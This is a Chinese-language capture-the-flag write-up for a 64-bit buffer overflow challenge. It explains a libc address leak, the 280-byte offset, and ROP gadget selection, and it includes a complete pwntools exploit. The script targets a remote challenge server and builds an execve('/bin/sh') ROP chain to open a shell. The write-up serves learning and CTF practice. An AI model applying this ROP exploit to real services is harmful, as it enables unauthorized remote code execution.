64位的简单pwn
环境:kali,python3
程序没有开启随机化
没有canary保护
启动了NX
IDA:
运行程序,先输入1200,然后给出函数地址,再次输入内容。
思路:
函数地址在IDA反汇编可以看出来,是atoi函数的地址,是got表中的地址。也就是函数运行过程中,在内存中atoi的函数地址。
看代码可以看出read这里有洞。可以利用缓冲区溢出覆盖返回地址。
(32位的缓冲区溢出可以参考一下https://www.cnblogs.com/gudygudy/p/8093921.html,里面的栈结构中函数的参数传递方式变化了,可以暂时忽略返回地址上的参数区)
需要注意的是,64位的函数调用参数前6个是放在寄存器的,分别是rdi,rsi,rdx,rcx等。这里面最多用前三个。
题目还给出了libc库,据此可以定位libc在程序运行时加载到内存中时的基址。
有基址后想调用什么函数都可以偏移过去。调用system("/bin/sh")就拿到shell了。这个题目用system服务器没成功,,本地成功了;用execve("/bin/sh",0,null)两边都可以成功。
首先确定需要放多少个填充才能到返回地址。
使用kali自带的工具生成长度290的填充字符,gdb打开程序,输入该字符串。
发生段错误
查看rsp的值,rsp这时候放的就是返回地址,但是这个地址是有误的所以报错。
利用kali中工具查询这个串偏移量。
结果是280。
填充块大小知道了,返回地址可以通过libc偏移计算,参数传递如何实现?
32位机直接在栈上覆盖,64位需要借助汇编语句实现参数传递。这几条汇编语句称为gadget。是在程序中寻找的合适的,也可以在libc库中找。
libc中汇编代码丰富些,所以我在libc中找的。所以利用时还要记得加上计算的libc基址。
查汇编指令使用的是ROPgadget
如图,分别找到
pop rdx;ret
pop rsi;ret
pop rdi;ret
对应的地址。
1 #pwn1 求解 2 from pwn import * 3 4 context.log_level = "debug" 5 context.arch = "i386" 6 context.terminal = ["tmux","splitw","-h"] 7 8 def debug(): #该方法会在程序未结束时打开gdb对程序进行调试,在debug后就进入了交互模式 9 pwnlib.gdb.attach(p) 10 pause() 11 12 p = process("./pwn1") 13 p = remote('124.16.75.117',51005) 14 libc = ELF("./libc.so.6") 15 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 16 17 offset = 280 18 p.send('1200') 19 20 recvw = p.recv(31).decode() 21 recvw = recvw[-13:-1] 22 recvw = '0x' + recvw 23 24 atoi_addr = (eval(recvw)) 25 print("atoi addr:" + hex(atoi_addr)) 26 27 libc_base_addr = atoi_addr - libc.symbols["atoi"] 28 29 execve_addr = libc.symbols["execve"] + libc_base_addr 30 binsh_addr = next(libc.search("/bin/sh".encode())) + libc_base_addr 31 32 pop_rdi_ret_addr = 0x215bf + libc_base_addr 33 pop_rsi_ret_addr = 0x23eea + libc_base_addr 34 pop_rdx_ret_addr = 0x1b96 + libc_base_addr 35 36 payload = 'a' * offset 37 #debug()
下面这条语句依次:填充,调用pop rdi;ret把第一个参数binsh_addr放到寄存器rdi中,第二个参数放到rsi中,第三个参数放到rdx中,调用execve函数
38 payload = flat([payload,p64(pop_rdi_ret_addr),p64(binsh_addr),p64(pop_rsi_ret_addr),"\x00"*8,p64(pop_rdx_ret_addr),"\x00"*8,p64(execve_addr)]) 39 40 p.sendline(payload) 41 42 p.interactive()